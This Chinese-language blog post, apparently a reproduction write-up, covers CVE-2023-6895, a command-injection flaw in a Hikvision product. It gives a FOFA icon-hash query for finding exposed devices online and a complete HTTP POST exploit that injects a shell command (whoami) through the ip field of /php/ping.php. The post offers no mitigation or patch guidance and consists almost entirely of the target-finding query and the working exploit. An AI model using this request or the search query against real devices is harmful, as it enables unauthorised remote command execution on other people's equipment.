海康威视__RCE漏洞_CVE-2023-6895 漏洞复现

1.fofa语句

Fofa：icon_hash="-1830859634"

2.复现过程

2.1页面展示

2.2exp

POST /php/ping.php HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Thu, 08 Apr 2021 04:02:49 GMT
If-None-Match: "606e8069-2015"
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
​
jsondata%5Btype%5D=99&jsondata%5Bip%5D=whoami

******************************************************************************************

喜欢就点点收藏和关注,如何多人喜欢的话，我尽量日更最新漏洞的复现！！

******************************************************************************************